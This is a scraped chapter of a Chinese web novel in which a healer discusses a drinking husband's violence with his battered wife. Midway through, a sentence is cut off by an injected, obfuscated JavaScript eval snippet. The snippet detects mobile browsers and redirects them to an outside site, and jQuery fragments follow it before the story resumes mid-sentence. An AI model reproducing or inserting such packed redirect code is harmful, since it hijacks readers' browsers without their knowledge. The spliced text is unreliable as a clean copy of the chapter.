125.拗筋
作品:《[聊斋]季甜的聊斋日常》 “你说什么呢!”白爷爷罕见地拉下脸,抬手捂住采萍的耳朵,对梅娘怒道:“脑子不清醒的糊涂话!”
采薇脸色也不太好,她娘跟眼前的瘦妇人不同,是个顶顶要强的女子,一个人带着她们姐妹俩也过得很好,要不是那场意外……采薇心里有千句万句话要说,但她懂事地没吭声,只静静看向白术。
季甜正忙着安抚被饭呛到的小姑娘——孩子小脸憋得通红,鼻孔喷出饭粒,一双眼里却满是恐慌,直直望向自己的母亲,她在说什么!不怕这家人将她们赶出去吗?
“没事,慢慢吃,不关你的事。”季甜将小姑娘的脸轻轻转过来,拿帕子擦擦,喂了口荸荠汤,又拍着她的背顺气。等她缓过来了,便夹了一大筷子笋丝放进她碗里,季甜看出小姑娘爱吃这干笋,只是胆子太小,不敢夹多。
梅娘被长辈一喝,意识到自己说错了话,连忙抬手拍了下自己的嘴,朝白爷爷讪讪赔笑,又看向采薇,脸上堆满尴尬。刚刚与白术谈天说地,因着对方温和包容的态度,她不知不觉就松懈了,竟忘了分寸,但在她看来,女人离了男人确实难过活,这位母亲自己糊涂,还拖累两个孩子……幸亏白姑娘心善。
白术却仍淡淡的笑,仿佛没察觉气氛的凝滞,她夹了一筷子肉安抚住白爷爷,转而顺着话头问起梅娘与她丈夫的日常,几句下来,梅娘渐渐放松,又说起王十一的好来。
“我夫君呀,其实性子最和善。前些年我发高烧,下不了床,是他深一脚浅一脚背我去村里大夫那儿看的病。他那会儿急得满头汗,生怕我有个好歹……我都记得呢。”梅娘说着,眼里泛起一丝光亮,仿佛身上的伤痛都淡了,“别看我如今伤得可怖,但伤总会好的,一切都会好起来的。”
就像她多年媳妇熬成婆,婆母走了,往后只需守着丈夫过日子便是。
“是啊,是挺好。”白术轻轻接话,却又若有似无地叹息,“若是你丈夫没那‘病’,就更好了。”
“病?他哪儿有病?”梅娘愣了一下,有些不悦。
“也算不上病,怕是胎里带来的。”白术语气平和,却话锋一变,“你可曾想过,他平时好端端的,喝了酒,反而就像变了一个人?”
“是酒……他说是酒劲上头,控制不住自己。”梅娘低声道,她想了想,确实不对,“难道说,是有邪祟附身,还是邪气入体?”
越想,越觉得有理,梅娘幼时还见过大人给小孩叫魂,她征询的看着白术,好像白术一点头,她就要去找巫婆。
白术愣了愣,她倒是没想到这个点,她斟酌着,决定还是按照之前想好的来。
于是乎白术摇了摇头,“哪有那么神神叨叨的,难不成邪祟每次都蹲在他喝酒的时候?是他自身的问题,酒只是个引子。”
“你再看,他是不是清醒后也后悔,也试过忍,却越忍,醉后下手越重?”白术循循善诱。
梅娘怔怔点头。
“他是不是从不打外人,只打你——”
“还有小艾。”梅娘脱口而出,随即看向女儿,眼神一痛。
“是,只打你们母女。”白术的目光掠过小姑娘,又落回梅娘脸上,“你们是他最亲的人。可他再失控,也不会伤到旁人,对不对?”
梅娘想起有一次,丈夫醉酒动手时,正好有朋友上门,原本她还害怕十一伤了朋友拿不出钱来赔,但十一看到他朋友,竟还能立刻停手,与人正常说话。她当时还庆幸没闹出更大的事……
“所以最简单的法子,就是让他彻底戒酒。”白术说得干脆。
“可他……戒不掉呀,旁人劝酒,他也不好推……”梅娘眼神黯了黯,却又努力提起一口气,“不过他说这次一定会戒,也许……也许真能做到?”
“戒酒虽是治标,但有大用。”白术打量着梅娘神色,迟疑片刻,才缓声道,“其实还有个治本的法子,只是……唉,只是你们多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050115|179912||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
半做不到,我就不说了。”
“什么法子?”梅娘急忙追问,身子都不自觉前倾。
白术看着她,却摇摇头,似是不愿透露。梅娘更急了,伸手拉住白术的袖子:“白姑娘,求你告诉我,我得救救他呀!”
白术这才轻轻叹了口气,语气低缓,像是在说不传之秘,“这种人,天生自带一根‘拗筋’,平时隐而不发,可酒气一熏,便活络了这根筋脉,激出血里的‘嗔’性。它不会伤害无辜的人,只拿最近的血脉亲人,当成其宣泄的口子。如果放任下去,终有一日,拗筋的主人会失手将亲人杀死,最后疯掉。”她顿了顿,看着梅娘的目光里带着怜悯,“治本之法复杂艰难,远远不如戒酒容易,你们……不妨先看看他能不能真戒了酒。若实在不行……到时再说。”
梅娘听得似懂非懂,心里又乱又慌,只喃喃道:“他会戒的,这次一定会的……”
一旁季甜与采薇交换了个眼神,什么“拗筋”、“血嗔”?
采薇摇头,眼里透着疑惑,她们可从没听白术讲过这些药理之外的说法,而且师父平日教她们认药辩证,可不会这样说话。
小姑娘捧着碗,吃饭的动作慢了下来。她悄悄盯着白术,想从那张平静带笑的脸上看出些什么。可她家早已一无所有,还有什么可图的呢?白术察觉到目光,温和的朝小艾一笑,将情绪隐入心底。
一顿饭吃的莫名奇妙,季甜是真的想把小孩接来当玩伴,但无奈小艾不愿离开母亲,她只能眼巴巴的看着小姑娘跟着瘦妇人离开,白爷爷在饭桌上对白术的话全程没有发表意见,他已经很少看病了,年轻人要做什么事情,自有她的道理,所谓不痴不聋,不作阿家翁。
白术口风很紧,季甜追问下,只说还没到时候,如果成功,不用季甜问,她肯定会说,于是季甜也安静下来,将糖葫芦分了分,抱着本前人写的读书札记边啃边看,至于县衙?她又不是县官,用不着再过去。

